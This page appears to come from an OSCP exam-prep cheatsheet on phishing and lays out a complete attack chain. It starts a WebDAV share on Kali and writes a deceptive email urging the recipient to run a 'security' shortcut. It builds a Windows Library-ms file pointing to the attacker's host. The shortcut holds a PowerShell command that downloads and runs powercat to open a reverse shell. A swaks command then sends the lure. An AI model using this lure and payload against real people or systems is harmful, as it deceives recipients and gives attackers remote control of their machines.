> For the complete documentation index, see [llms.txt](https://yongjun04.gitbook.io/oscp-cheatsheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yongjun04.gitbook.io/oscp-cheatsheet/attacks/phishing.md).

# Phishing

## Preparation

### On Kali Machine

{% stepper %}
{% step %}

### Create a webshare for target machine to send files

{% code overflow="wrap" %}

```bash
wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/offsec/wsgidav
```

{% endcode %}
{% endstep %}

{% step %}

### Create a text file named body.txt

{% code overflow="wrap" %}

```
Hey!
I checked WEBSRV1 and discovered that the previously used staging script still exists in the Git logs. I'll remove it for security reasons.

On an unrelated note, please install the new security features on your workstation. For this, download the attached file, double-click on it, and execute the configuration shortcut within. Thanks!

John
```

{% endcode %}
{% endstep %}
{% endstepper %}

### On Windows Machine

{% stepper %}
{% step %}

### Create a text file named config.Library-ms

```xml
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>

<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>

<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>

<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://<Kali IP Address></url>
</simpleLocation>

</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
```

{% endstep %}

{% step %}

### Create a shortcut that runs the following powershell command

> **NOTE: Right click on Desktop and select Add Shortcut**

{% code overflow="wrap" %}

```powershell
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<Kali IP Address>/powercat.ps1'); powercat -c <Kali IP Address> -p <Kali Port> -e powershell"
```

{% endcode %}
{% endstep %}
{% endstepper %}

## Exploit

### On Kali Machine

{% stepper %}
{% step %}

### Setup Netcat listener

{% endstep %}

{% step %}

### Setup Python Server to host powercat.ps1

{% endstep %}

{% step %}

### Send email using the following command

{% code overflow="wrap" %}

```bash
sudo swaks -t <Target EMAIL> -t <Target EMAIL> --from <Source EMAIL> --attach @config.Library-ms --server <MailServer IP Address> --body @body.txt --header "Subject: Staging Script" --suppress-data -ap
```

{% endcode %}
{% endstep %}
{% endstepper %}
